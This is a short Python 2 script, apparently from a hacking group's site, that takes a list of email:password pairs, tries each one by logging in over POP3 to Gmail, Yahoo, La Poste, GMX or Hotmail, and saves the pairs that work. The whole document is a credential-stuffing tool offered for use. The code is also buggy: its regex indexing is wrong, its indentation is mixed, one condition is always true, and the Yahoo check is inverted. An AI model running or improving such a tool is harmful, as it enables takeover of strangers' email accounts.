import getpass, poplib, re

'''

  Author : necromoine
  For : hwc-crew.com
  
  This tool detectes if a password is correct on severals
  web servers.
  the mail.in file need to look like:
    mail1@serv.com:password1
    mail2@serv.net:password4
    
  You can easily add webserver by looking at the response to a pop connection.
  
'''

output = open('mail.out','a')
input = open('mail.in', 'r')

data = input.readlines()

for ligne in data:
	infos = re.compile('(.+):(.+)').findall(ligne)
	if infos != []:
		mail = infos[0][1]
		password = infos[0][2]
		service = mail.split('@')
		if 'gmail' in service[1]:
			try:
				M = poplib.POP3_SSL('pop.gmail.com')
				M.user(mail)
				M.pass_(password)
				output.write(mail + ":" + password + "\r\n")
			except poplib.error_proto as error:
				continue
			

		elif 'yahoo' in service[1]:
			try:
				M = poplib.POP3_SSL('pop.mail.yahoo.fr')	
				M.user(mail)
				M.pass_(password)
			except poplib.error_proto as error:
				error = str(error)
				if not 'ERR' in error:
					output.write(mail + ":" + password + "\r\n")
	
		elif 'laposte' in service[1]:
			try:
				M = poplib.POP3_SSL('pop.laposte.net')
                        	M.user(mail)
                        	M.pass_(password)
				output.write(mail + ':' + password + "\r\n")	
			except poplib.error_proto as error:
				continue
		
		elif 'gmx' in service[1]:
			try:
				M = poplib.POP3_SSL('pop.gmx.com')
                                M.user(mail)
                                M.pass_(password)
				output.write(mail + ":" + password + "\r\n")
			except poplib.error_proto as error:
				continue

		elif 'live' or 'hotmail' in service[1]:
                        try:
                                M = poplib.POP3_SSL('pop3.live.com')
                                M.user(mail)
                                M.pass_(password)
                                output.write(mail + ":" + password + "\r\n")
                        except:
                                continue

                             
print "Check complete see mail.out"